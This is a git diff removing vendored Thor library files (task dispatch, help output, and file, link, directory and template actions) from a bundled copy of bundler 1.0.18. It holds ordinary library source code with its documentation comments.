-        @usage, @desc, @hide = usage, description, options[:hide] || false
-      end
-    end
-
-    # Defines the long description of the next task.
-    #
-    # ==== Parameters
-    # long description<String>
-    #
-    def long_desc(long_description, options={})
-      if options[:for]
-        task = find_and_refresh_task(options[:for])
-        task.long_description = long_description if long_description
-      else
-        @long_desc = long_description
-      end
-    end
-
-    # Maps an input to a task. If you define:
-    #
-    #   map "-T" => "list"
-    #
-    # Running:
-    #
-    #   thor -T
-    #
-    # Will invoke the list task.
-    #
-    # ==== Parameters
-    # Hash[String|Array => Symbol]:: Maps the string or the strings in the array to the given task.
-    #
-    def map(mappings=nil)
-      @map ||= from_superclass(:map, {})
-
-      if mappings
-        mappings.each do |key, value|
-          if key.respond_to?(:each)
-            key.each {|subkey| @map[subkey] = value}
-          else
-            @map[key] = value
-          end
-        end
-      end
-
-      @map
-    end
-
-    # Declares the options for the next task to be declared.
-    #
-    # ==== Parameters
-    # Hash[Symbol => Object]:: The hash key is the name of the option and the value
-    # is the type of the option. Can be :string, :array, :hash, :boolean, :numeric
-    # or :required (string). If you give a value, the type of the value is used.
-    #
-    def method_options(options=nil)
-      @method_options ||= {}
-      build_options(options, @method_options) if options
-      @method_options
-    end
-
-    # Adds an option to the set of method options. If :for is given as option,
-    # it allows you to change the options from a previous defined task.
-    #
-    #   def previous_task
-    #     # magic
-    #   end
-    #
-    #   method_option :foo => :bar, :for => :previous_task
-    #
-    #   def next_task
-    #     # magic
-    #   end
-    #
-    # ==== Parameters
-    # name<Symbol>:: The name of the argument.
-    # options<Hash>:: Described below.
-    #
-    # ==== Options
-    # :desc     - Description for the argument.
-    # :required - If the argument is required or not.
-    # :default  - Default value for this argument. It cannot be required and have default values.
-    # :aliases  - Aliases for this option.
-    # :type     - The type of the argument, can be :string, :hash, :array, :numeric or :boolean.
-    # :banner   - String to show on usage notes.
-    #
-    def method_option(name, options={})
-      scope = if options[:for]
-        find_and_refresh_task(options[:for]).options
-      else
-        method_options
-      end
-
-      build_option(name, options, scope)
-    end
-
-    # Prints help information for the given task.
-    #
-    # ==== Parameters
-    # shell<Thor::Shell>
-    # task_name<String>
-    #
-    def task_help(shell, task_name)
-      meth = normalize_task_name(task_name)
-      task = all_tasks[meth]
-      handle_no_task_error(meth) unless task
-
-      shell.say "Usage:"
-      shell.say "  #{banner(task)}"
-      shell.say
-      class_options_help(shell, nil => task.options.map { |_, o| o })
-      if task.long_description
-        shell.say "Description:"
-        shell.print_wrapped(task.long_description, :ident => 2)
-      else
-        shell.say task.description
-      end
-    end
-
-    # Prints help information for this class.
-    #
-    # ==== Parameters
-    # shell<Thor::Shell>
-    #
-    def help(shell, subcommand = false)
-      list = printable_tasks(true, subcommand)
-      Thor::Util.thor_classes_in(self).each do |klass|
-        list += klass.printable_tasks(false)
-      end
-      list.sort!{ |a,b| a[0] <=> b[0] }
-
-      shell.say "Tasks:"
-      shell.print_table(list, :ident => 2, :truncate => true)
-      shell.say
-      class_options_help(shell)
-    end
-
-    # Returns tasks ready to be printed.
-    def printable_tasks(all = true, subcommand = false)
-      (all ? all_tasks : tasks).map do |_, task|
-        next if task.hidden?
-        item = []
-        item << banner(task, false, subcommand)
-        item << (task.description ? "# #{task.description.gsub(/\s+/m,' ')}" : "")
-        item
-      end.compact
-    end
-
-    def subcommands
-      @subcommands ||= from_superclass(:subcommands, [])
-    end
-
-    def subcommand(subcommand, subcommand_class)
-      self.subcommands << subcommand.to_s
-      subcommand_class.subcommand_help subcommand
-      define_method(subcommand) { |*args| invoke subcommand_class, args }
-    end
-
-    # Extend check unknown options to accept a hash of conditions.
-    #
-    # === Parameters
-    # options<Hash>: A hash containing :only and/or :except keys
-    def check_unknown_options!(options={})
-      @check_unknown_options ||= Hash.new
-      options.each do |key, value|
-        if value
-          @check_unknown_options[key] = Array(value)
-        else
-          @check_unknown_options.delete(key)
-        end
-      end
-      @check_unknown_options
-    end
-
-    # Overwrite check_unknown_options? to take subcommands and options into account.
-    def check_unknown_options?(config) #:nodoc:
-      options = check_unknown_options
-      return false unless options
-
-      task = config[:current_task]
-      return true unless task
-
-      name = task.name
-
-      if subcommands.include?(name)
-        false
-      elsif options[:except]
-        !options[:except].include?(name.to_sym)
-      elsif options[:only]
-        options[:only].include?(name.to_sym)
-      else
-        true
-      end
-    end
-
-    protected
-
-      # The method responsible for dispatching given the args.
-      def dispatch(meth, given_args, given_opts, config) #:nodoc:
-        meth ||= retrieve_task_name(given_args)
-        task = all_tasks[normalize_task_name(meth)]
-
-        if task
-          args, opts = Thor::Options.split(given_args)
-        else
-          args, opts = given_args, nil
-          task = Thor::DynamicTask.new(meth)
-        end
-
-        opts = given_opts || opts || []
-        config.merge!(:current_task => task, :task_options => task.options)
-
-        trailing = args[Range.new(arguments.size, -1)]
-        new(args, opts, config).invoke_task(task, trailing || [])
-      end
-
-      # The banner for this class. You can customize it if you are invoking the
-      # thor class by another ways which is not the Thor::Runner. It receives
-      # the task that is going to be invoked and a boolean which indicates if
-      # the namespace should be displayed as arguments.
-      #
-      def banner(task, namespace = nil, subcommand = false)
-        "#{basename} #{task.formatted_usage(self, $thor_runner, subcommand)}"
-      end
-
-      def baseclass #:nodoc:
-        Thor
-      end
-
-      def create_task(meth) #:nodoc:
-        if @usage && @desc
-          base_class = @hide ? Thor::HiddenTask : Thor::Task
-          tasks[meth] = base_class.new(meth, @desc, @long_desc, @usage, method_options)
-          @usage, @desc, @long_desc, @method_options, @hide = nil
-          true
-        elsif self.all_tasks[meth] || meth == "method_missing"
-          true
-        else
-          puts "[WARNING] Attempted to create task #{meth.inspect} without usage or description. " <<
-               "Call desc if you want this method to be available as task or declare it inside a " <<
-               "no_tasks{} block. Invoked from #{caller[1].inspect}."
-          false
-        end
-      end
-
-      def initialize_added #:nodoc:
-        class_options.merge!(method_options)
-        @method_options = nil
-      end
-
-      # Retrieve the task name from given args.
-      def retrieve_task_name(args) #:nodoc:
-        meth = args.first.to_s unless args.empty?
-
-        if meth && (map[meth] || meth !~ /^\-/)
-          args.shift
-        else
-          nil
-        end
-      end
-
-      # Receives a task name (can be nil), and try to get a map from it.
-      # If a map can't be found use the sent name or the default task.
-      def normalize_task_name(meth) #:nodoc:
-        meth = map[meth.to_s] || find_subcommand_and_update_argv(meth) || meth || default_task
-        meth.to_s.gsub('-','_') # treat foo-bar > foo_bar
-      end
-
-      # terrible hack that overwrites ARGV
-      def find_subcommand_and_update_argv(subcmd_name) #:nodoc:
-        return unless subcmd_name
-        cmd = find_subcommand(subcmd_name)
-        ARGV[0] = cmd if cmd
-        cmd
-      end
-
-      def find_subcommand(subcmd_name)
-        possibilities = find_subcommand_possibilities subcmd_name
-        if possibilities.size > 1
-          raise "Ambiguous subcommand #{subcmd_name} matches [#{possibilities.join(', ')}]"
-        elsif possibilities.size < 1
-          return nil
-        end
-
-        possibilities.first
-      end
-
-      def find_subcommand_possibilities(subcmd_name)
-        len = subcmd_name.length
-        all_tasks.map {|t| t.first}.select { |n| subcmd_name == n[0, len] }
-      end
-
-      def subcommand_help(cmd)
-        desc "help [COMMAND]", "Describe subcommands or one specific subcommand"
-        class_eval <<-RUBY
-          def help(task = nil, subcommand = true); super; end
-        RUBY
-      end
-  end
-
-  include Thor::Base
-
-  map HELP_MAPPINGS => :help
-
-  desc "help [TASK]", "Describe available tasks or one specific task"
-  def help(task = nil, subcommand = false)
-    task ? self.class.task_help(shell, task) : self.class.help(shell, subcommand)
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions.rb
deleted file mode 100644
index 3712c5f4..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions.rb
+++ /dev/null
@@ -1,314 +0,0 @@
-require 'fileutils'
-require 'uri'
-require 'thor/core_ext/file_binary_read'
-require 'thor/actions/create_file'
-require 'thor/actions/create_link'
-require 'thor/actions/directory'
-require 'thor/actions/empty_directory'
-require 'thor/actions/file_manipulation'
-require 'thor/actions/inject_into_file'
-
-class Thor
-  module Actions
-    attr_accessor :behavior
-
-    def self.included(base) #:nodoc:
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      # Hold source paths for one Thor instance. source_paths_for_search is the
-      # method responsible to gather source_paths from this current class,
-      # inherited paths and the source root.
-      #
-      def source_paths
-        @_source_paths ||= []
-      end
-
-      # Stores and return the source root for this class
-      def source_root(path=nil)
-        @_source_root = path if path
-        @_source_root
-      end
-
-      # Returns the source paths in the following order:
-      #
-      #   1) This class source paths
-      #   2) Source root
-      #   3) Parents source paths
-      #
-      def source_paths_for_search
-        paths = []
-        paths += self.source_paths
-        paths << self.source_root if self.source_root
-        paths += from_superclass(:source_paths, [])
-        paths
-      end
-
-      # Add runtime options that help actions execution.
-      #
-      def add_runtime_options!
-        class_option :force, :type => :boolean, :aliases => "-f", :group => :runtime,
-                             :desc => "Overwrite files that already exist"
-
-        class_option :pretend, :type => :boolean, :aliases => "-p", :group => :runtime,
-                               :desc => "Run but do not make any changes"
-
-        class_option :quiet, :type => :boolean, :aliases => "-q", :group => :runtime,
-                             :desc => "Supress status output"
-
-        class_option :skip, :type => :boolean, :aliases => "-s", :group => :runtime,
-                            :desc => "Skip files that already exist"
-      end
-    end
-
-    # Extends initializer to add more configuration options.
-    #
-    # ==== Configuration
-    # behavior<Symbol>:: The actions default behavior. Can be :invoke or :revoke.
-    #                    It also accepts :force, :skip and :pretend to set the behavior
-    #                    and the respective option.
-    #
-    # destination_root<String>:: The root directory needed for some actions.
-    #
-    def initialize(args=[], options={}, config={})
-      self.behavior = case config[:behavior].to_s
-        when "force", "skip"
-          _cleanup_options_and_set(options, config[:behavior])
-          :invoke
-        when "revoke"
-          :revoke
-        else
-          :invoke
-      end
-
-      super
-      self.destination_root = config[:destination_root]
-    end
-
-    # Wraps an action object and call it accordingly to the thor class behavior.
-    #
-    def action(instance) #:nodoc:
-      if behavior == :revoke
-        instance.revoke!
-      else
-        instance.invoke!
-      end
-    end
-
-    # Returns the root for this thor class (also aliased as destination root).
-    #
-    def destination_root
-      @destination_stack.last
-    end
-
-    # Sets the root for this thor class. Relatives path are added to the
-    # directory where the script was invoked and expanded.
-    #
-    def destination_root=(root)
-      @destination_stack ||= []
-      @destination_stack[0] = File.expand_path(root || '')
-    end
-
-    # Returns the given path relative to the absolute root (ie, root where
-    # the script started).
-    #
-    def relative_to_original_destination_root(path, remove_dot=true)
-      path = path.gsub(@destination_stack[0], '.')
-      remove_dot ? (path[2..-1] || '') : path
-    end
-
-    # Holds source paths in instance so they can be manipulated.
-    #
-    def source_paths
-      @source_paths ||= self.class.source_paths_for_search
-    end
-
-    # Receives a file or directory and search for it in the source paths.
-    #
-    def find_in_source_paths(file)
-      relative_root = relative_to_original_destination_root(destination_root, false)
-
-      source_paths.each do |source|
-        source_file = File.expand_path(file, File.join(source, relative_root))
-        return source_file if File.exists?(source_file)
-      end
-
-      message = "Could not find #{file.inspect} in any of your source paths. "
-
-      unless self.class.source_root
-        message << "Please invoke #{self.class.name}.source_root(PATH) with the PATH containing your templates. "
-      end
-
-      if source_paths.empty?
-        message << "Currently you have no source paths."
-      else
-        message << "Your current source paths are: \n#{source_paths.join("\n")}"
-      end
-
-      raise Error, message
-    end
-
-    # Do something in the root or on a provided subfolder. If a relative path
-    # is given it's referenced from the current root. The full path is yielded
-    # to the block you provide. The path is set back to the previous path when
-    # the method exits.
-    #
-    # ==== Parameters
-    # dir<String>:: the directory to move to.
-    # config<Hash>:: give :verbose => true to log and use padding.
-    #
-    def inside(dir='', config={}, &block)
-      verbose = config.fetch(:verbose, false)
-      pretend = options[:pretend]
-
-      say_status :inside, dir, verbose
-      shell.padding += 1 if verbose
-      @destination_stack.push File.expand_path(dir, destination_root)
-
-      # If the directory doesnt exist and we're not pretending
-      if !File.exist?(destination_root) && !pretend
-        FileUtils.mkdir_p(destination_root)
-      end
-
-      if pretend
-        # In pretend mode, just yield down to the block
-        block.arity == 1 ? yield(destination_root) : yield
-      else
-        FileUtils.cd(destination_root) { block.arity == 1 ? yield(destination_root) : yield }
-      end
-
-      @destination_stack.pop
-      shell.padding -= 1 if verbose
-    end
-
-    # Goes to the root and execute the given block.
-    #
-    def in_root
-      inside(@destination_stack.first) { yield }
-    end
-
-    # Loads an external file and execute it in the instance binding.
-    #
-    # ==== Parameters
-    # path<String>:: The path to the file to execute. Can be a web address or
-    #                a relative path from the source root.
-    #
-    # ==== Examples
-    #
-    #   apply "http://gist.github.com/103208"
-    #
-    #   apply "recipes/jquery.rb"
-    #
-    def apply(path, config={})
-      verbose = config.fetch(:verbose, true)
-      is_uri  = path =~ /^https?\:\/\//
-      path    = find_in_source_paths(path) unless is_uri
-
-      say_status :apply, path, verbose
-      shell.padding += 1 if verbose
-
-      if is_uri
-        contents = open(path, "Accept" => "application/x-thor-template") {|io| io.read }
-      else
-        contents = open(path) {|io| io.read }
-      end
-
-      instance_eval(contents, path)
-      shell.padding -= 1 if verbose
-    end
-
-    # Executes a command returning the contents of the command.
-    #
-    # ==== Parameters
-    # command<String>:: the command to be executed.
-    # config<Hash>:: give :verbose => false to not log the status, :capture => true to hide to output. Specify :with
-    #                to append an executable to command executation.
-    #
-    # ==== Example
-    #
-    #   inside('vendor') do
-    #     run('ln -s ~/edge rails')
-    #   end
-    #
-    def run(command, config={})
-      return unless behavior == :invoke
-
-      destination = relative_to_original_destination_root(destination_root, false)
-      desc = "#{command} from #{destination.inspect}"
-
-      if config[:with]
-        desc = "#{File.basename(config[:with].to_s)} #{desc}"
-        command = "#{config[:with]} #{command}"
-      end
-
-      say_status :run, desc, config.fetch(:verbose, true)
-
-      unless options[:pretend]
-        config[:capture] ? `#{command}` : system("#{command}")
-      end
-    end
-
-    # Executes a ruby script (taking into account WIN32 platform quirks).
-    #
-    # ==== Parameters
-    # command<String>:: the command to be executed.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    def run_ruby_script(command, config={})
-      return unless behavior == :invoke
-      run command, config.merge(:with => Thor::Util.ruby_command)
-    end
-
-    # Run a thor command. A hash of options can be given and it's converted to
-    # switches.
-    #
-    # ==== Parameters
-    # task<String>:: the task to be invoked
-    # args<Array>:: arguments to the task
-    # config<Hash>:: give :verbose => false to not log the status, :capture => true to hide to output.
-    #                Other options are given as parameter to Thor.
-    #
-    #
-    # ==== Examples
-    #
-    #   thor :install, "http://gist.github.com/103208"
-    #   #=> thor install http://gist.github.com/103208
-    #
-    #   thor :list, :all => true, :substring => 'rails'
-    #   #=> thor list --all --substring=rails
-    #
-    def thor(task, *args)
-      config  = args.last.is_a?(Hash) ? args.pop : {}
-      verbose = config.key?(:verbose) ? config.delete(:verbose) : true
-      pretend = config.key?(:pretend) ? config.delete(:pretend) : false
-      capture = config.key?(:capture) ? config.delete(:capture) : false
-
-      args.unshift task
-      args.push Thor::Options.to_switches(config)
-      command = args.join(' ').strip
-
-      run command, :with => :thor, :verbose => verbose, :pretend => pretend, :capture => capture
-    end
-
-    protected
-
-      # Allow current root to be shared between invocations.
-      #
-      def _shared_configuration #:nodoc:
-        super.merge!(:destination_root => self.destination_root)
-      end
-
-      def _cleanup_options_and_set(options, key) #:nodoc:
-        case options
-          when Array
-            %w(--force -f --skip -s).each { |i| options.delete(i) }
-            options << "--#{key}"
-          when Hash
-            [:force, :skip, "force", "skip"].each { |i| options.delete(i) }
-            options.merge!(key => true)
-        end
-      end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_file.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_file.rb
deleted file mode 100644
index ed5973a4..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_file.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require 'thor/actions/empty_directory'
-
-class Thor
-  module Actions
-
-    # Create a new file relative to the destination root with the given data,
-    # which is the return value of a block or a data string.
-    #
-    # ==== Parameters
-    # destination<String>:: the relative path to the destination root.
-    # data<String|NilClass>:: the data to append to the file.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   create_file "lib/fun_party.rb" do
-    #     hostname = ask("What is the virtual hostname I should use?")
-    #     "vhost.name = #{hostname}"
-    #   end
-    #
-    #   create_file "config/apache.conf", "your apache config"
-    #
-    def create_file(destination, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      data = args.first
-      action CreateFile.new(self, destination, block || data.to_s, config)
-    end
-    alias :add_file :create_file
-
-    # CreateFile is a subset of Template, which instead of rendering a file with
-    # ERB, it gets the content from the user.
-    #
-    class CreateFile < EmptyDirectory #:nodoc:
-      attr_reader :data
-
-      def initialize(base, destination, data, config={})
-        @data = data
-        super(base, destination, config)
-      end
-
-      # Checks if the content of the file at the destination is identical to the rendered result.
-      #
-      # ==== Returns
-      # Boolean:: true if it is identical, false otherwise.
-      #
-      def identical?
-        exists? && File.binread(destination) == render
-      end
-
-      # Holds the content to be added to the file.
-      #
-      def render
-        @render ||= if data.is_a?(Proc)
-          data.call
-        else
-          data
-        end
-      end
-
-      def invoke!
-        invoke_with_conflict_check do
-          FileUtils.mkdir_p(File.dirname(destination))
-          File.open(destination, 'wb') { |f| f.write render }
-        end
-        given_destination
-      end
-
-      protected
-
-        # Now on conflict we check if the file is identical or not.
-        #
-        def on_conflict_behavior(&block)
-          if identical?
-            say_status :identical, :blue
-          else
-            options = base.options.merge(config)
-            force_or_skip_or_conflict(options[:force], options[:skip], &block)
-          end
-        end
-
-        # If force is true, run the action, otherwise check if it's not being
-        # skipped. If both are false, show the file_collision menu, if the menu
-        # returns true, force it, otherwise skip.
-        #
-        def force_or_skip_or_conflict(force, skip, &block)
-          if force
-            say_status :force, :yellow
-            block.call unless pretend?
-          elsif skip
-            say_status :skip, :yellow
-          else
-            say_status :conflict, :red
-            force_or_skip_or_conflict(force_on_collision?, true, &block)
-          end
-        end
-
-        # Shows the file collision menu to the user and gets the result.
-        #
-        def force_on_collision?
-          base.shell.file_collision(destination){ render }
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_link.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_link.rb
deleted file mode 100644
index 1975644a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/create_link.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'thor/actions/create_file'
-
-class Thor
-  module Actions
-
-    # Create a new file relative to the destination root from the given source.
-    #
-    # ==== Parameters
-    # destination<String>:: the relative path to the destination root.
-    # source<String|NilClass>:: the relative path to the source root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #   :: give :symbolic => false for hard link.
-    #
-    # ==== Examples
-    #
-    #   create_link "config/apache.conf", "/etc/apache.conf"
-    #
-    def create_link(destination, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      source = args.first
-      action CreateLink.new(self, destination, source, config)
-    end
-    alias :add_link :create_link
-
-    # CreateLink is a subset of CreateFile, which instead of taking a block of
-    # data, just takes a source string from the user.
-    #
-    class CreateLink < CreateFile #:nodoc:
-      attr_reader :data
-
-      # Checks if the content of the file at the destination is identical to the rendered result.
-      #
-      # ==== Returns
-      # Boolean:: true if it is identical, false otherwise.
-      #
-      def identical?
-        exists? && File.identical?(render, destination)
-      end
-
-      def invoke!
-        invoke_with_conflict_check do
-          FileUtils.mkdir_p(File.dirname(destination))
-          # Create a symlink by default
-          config[:symbolic] ||= true
-          File.unlink(destination) if exists?
-          if config[:symbolic]
-            File.symlink(render, destination)
-          else
-            File.link(render, destination)
-          end
-        end
-        given_destination
-      end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/directory.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/directory.rb
deleted file mode 100644
index dc238939..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/directory.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'thor/actions/empty_directory'
-
-class Thor
-  module Actions
-
-    # Copies recursively the files from source directory to root directory.
-    # If any of the files finishes with .tt, it's considered to be a template
-    # and is placed in the destination without the extension .tt. If any
-    # empty directory is found, it's copied and all .empty_directory files are
-    # ignored. Remember that file paths can also be encoded, let's suppose a doc
-    # directory with the following files:
-    #
-    #   doc/
-    #     components/.empty_directory
-    #     README
-    #     rdoc.rb.tt
-    #     %app_name%.rb
-    #
-    # When invoked as:
-    #
-    #   directory "doc"
-    #
-    # It will create a doc directory in the destination with the following
-    # files (assuming that the `app_name` method returns the value "blog"):
-    #
-    #   doc/
-    #     components/
-    #     README
-    #     rdoc.rb
-    #     blog.rb
-    #
-    # ==== Parameters
-    # source<String>:: the relative path to the source root.
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #                If :recursive => false, does not look for paths recursively.
-    #
-    # ==== Examples
-    #
-    #   directory "doc"
-    #   directory "doc", "docs", :recursive => false
-    #
-    def directory(source, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      destination = args.first || source
-      action Directory.new(self, source, destination || source, config, &block)
-    end
-
-    class Directory < EmptyDirectory #:nodoc:
-      attr_reader :source
-
-      def initialize(base, source, destination=nil, config={}, &block)
-        @source = File.expand_path(base.find_in_source_paths(source.to_s))
-        @block  = block
-        super(base, destination, { :recursive => true }.merge(config))
-      end
-
-      def invoke!
-        base.empty_directory given_destination, config
-        execute!
-      end
-
-      def revoke!
-        execute!
-      end
-
-      protected
-
-        def execute!
-          lookup = config[:recursive] ? File.join(source, '**') : source
-          lookup = File.join(lookup, '{*,.[a-z]*}')
-
-          Dir[lookup].sort.each do |file_source|
-            next if File.directory?(file_source)
-            file_destination = File.join(given_destination, file_source.gsub(source, '.'))
-            file_destination.gsub!('/./', '/')
-
-            case file_source
-              when /\.empty_directory$/
-                dirname = File.dirname(file_destination).gsub(/\/\.$/, '')
-                next if dirname == given_destination
-                base.empty_directory(dirname, config)
-              when /\.tt$/
-                destination = base.template(file_source, file_destination[0..-4], config, &@block)
-              else
-                destination = base.copy_file(file_source, file_destination, config, &@block)
-            end
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/empty_directory.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/empty_directory.rb
deleted file mode 100644
index 484cb820..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/empty_directory.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-class Thor
-  module Actions
-
-    # Creates an empty directory.
-    #
-    # ==== Parameters
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   empty_directory "doc"
-    #
-    def empty_directory(destination, config={})
-      action EmptyDirectory.new(self, destination, config)
-    end
-
-    # Class which holds create directory logic. This is the base class for
-    # other actions like create_file and directory.
-    #
-    # This implementation is based in Templater actions, created by Jonas Nicklas
-    # and Michael S. Klishin under MIT LICENSE.
-    #
-    class EmptyDirectory #:nodoc:
-      attr_reader :base, :destination, :given_destination, :relative_destination, :config
-
-      # Initializes given the source and destination.
-      #
-      # ==== Parameters
-      # base<Thor::Base>:: A Thor::Base instance
-      # source<String>:: Relative path to the source of this file
-      # destination<String>:: Relative path to the destination of this file
-      # config<Hash>:: give :verbose => false to not log the status.
-      #
-      def initialize(base, destination, config={})
-        @base, @config   = base, { :verbose => true }.merge(config)
-        self.destination = destination
-      end
-
-      # Checks if the destination file already exists.
-      #
-      # ==== Returns
-      # Boolean:: true if the file exists, false otherwise.
-      #
-      def exists?
-        ::File.exists?(destination)
-      end
-
-      def invoke!
-        invoke_with_conflict_check do
-          ::FileUtils.mkdir_p(destination)
-        end
-      end
-
-      def revoke!
-        say_status :remove, :red
-        ::FileUtils.rm_rf(destination) if !pretend? && exists?
-        given_destination
-      end
-
-      protected
-
-        # Shortcut for pretend.
-        #
-        def pretend?
-          base.options[:pretend]
-        end
-
-        # Sets the absolute destination value from a relative destination value.
-        # It also stores the given and relative destination. Let's suppose our
-        # script is being executed on "dest", it sets the destination root to
-        # "dest". The destination, given_destination and relative_destination
-        # are related in the following way:
-        #
-        #   inside "bar" do
-        #     empty_directory "baz"
-        #   end
-        #
-        #   destination          #=> dest/bar/baz
-        #   relative_destination #=> bar/baz
-        #   given_destination    #=> baz
-        #
-        def destination=(destination)
-          if destination
-            @given_destination = convert_encoded_instructions(destination.to_s)
-            @destination = ::File.expand_path(@given_destination, base.destination_root)
-            @relative_destination = base.relative_to_original_destination_root(@destination)
-          end
-        end
-
-        # Filenames in the encoded form are converted. If you have a file:
-        #
-        #   %class_name%.rb
-        #
-        # It gets the class name from the base and replace it:
-        #
-        #   user.rb
-        #
-        def convert_encoded_instructions(filename)
-          filename.gsub(/%(.*?)%/) do |string|
-            instruction = $1.strip
-            base.respond_to?(instruction) ? base.send(instruction) : string
-          end
-        end
-
-        # Receives a hash of options and just execute the block if some
-        # conditions are met.
-        #
-        def invoke_with_conflict_check(&block)
-          if exists?
-            on_conflict_behavior(&block)
-          else
-            say_status :create, :green
-            block.call unless pretend?
-          end
-
-          destination
-        end
-
-        # What to do when the destination file already exists.
-        #
-        def on_conflict_behavior(&block)
-          say_status :exist, :blue
-        end
-
-        # Shortcut to say_status shell method.
-        #
-        def say_status(status, color)
-          base.shell.say_status status, relative_destination, color if config[:verbose]
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/file_manipulation.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/file_manipulation.rb
deleted file mode 100644
index ad049b3c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/file_manipulation.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-require 'erb'
-require 'open-uri'
-
-class Thor
-  module Actions
-
-    # Copies the file from the relative source to the relative destination. If
-    # the destination is not given it's assumed to be equal to the source.
-    #
-    # ==== Parameters
-    # source<String>:: the relative path to the source root.
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   copy_file "README", "doc/README"
-    #
-    #   copy_file "doc/README"
-    #
-    def copy_file(source, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      destination = args.first || source
-      source = File.expand_path(find_in_source_paths(source.to_s))
-
-      create_file destination, nil, config do
-        content = File.binread(source)
-        content = block.call(content) if block
-        content
-      end
-    end
-
-    # Links the file from the relative source to the relative destination. If
-    # the destination is not given it's assumed to be equal to the source.
-    #
-    # ==== Parameters
-    # source<String>:: the relative path to the source root.
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   link_file "README", "doc/README"
-    #
-    #   link_file "doc/README"
-    #
-    def link_file(source, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      destination = args.first || source
-      source = File.expand_path(find_in_source_paths(source.to_s))
-
-      create_link destination, source, config
-    end
-
-    # Gets the content at the given address and places it at the given relative
-    # destination. If a block is given instead of destination, the content of
-    # the url is yielded and used as location.
-    #
-    # ==== Parameters
-    # source<String>:: the address of the given content.
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   get "http://gist.github.com/103208", "doc/README"
-    #
-    #   get "http://gist.github.com/103208" do |content|
-    #     content.split("\n").first
-    #   end
-    #
-    def get(source, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      destination = args.first
-
-      source = File.expand_path(find_in_source_paths(source.to_s)) unless source =~ /^https?\:\/\//
-      render = open(source) {|input| input.binmode.read }
-
-      destination ||= if block_given?
-        block.arity == 1 ? block.call(render) : block.call
-      else
-        File.basename(source)
-      end
-
-      create_file destination, render, config
-    end
-
-    # Gets an ERB template at the relative source, executes it and makes a copy
-    # at the relative destination. If the destination is not given it's assumed
-    # to be equal to the source removing .tt from the filename.
-    #
-    # ==== Parameters
-    # source<String>:: the relative path to the source root.
-    # destination<String>:: the relative path to the destination root.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   template "README", "doc/README"
-    #
-    #   template "doc/README"
-    #
-    def template(source, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      destination = args.first || source.sub(/\.tt$/, '')
-
-      source  = File.expand_path(find_in_source_paths(source.to_s))
-      context = instance_eval('binding')
-
-      create_file destination, nil, config do
-        content = ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)
-        content = block.call(content) if block
-        content
-      end
-    end
-
-    # Changes the mode of the given file or directory.
-    #
-    # ==== Parameters
-    # mode<Integer>:: the file mode
-    # path<String>:: the name of the file to change mode
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Example
-    #
-    #   chmod "script/*", 0755
-    #
-    def chmod(path, mode, config={})
-      return unless behavior == :invoke
-      path = File.expand_path(path, destination_root)
-      say_status :chmod, relative_to_original_destination_root(path), config.fetch(:verbose, true)
-      FileUtils.chmod_R(mode, path) unless options[:pretend]
-    end
-
-    # Prepend text to a file. Since it depends on insert_into_file, it's reversible.
-    #
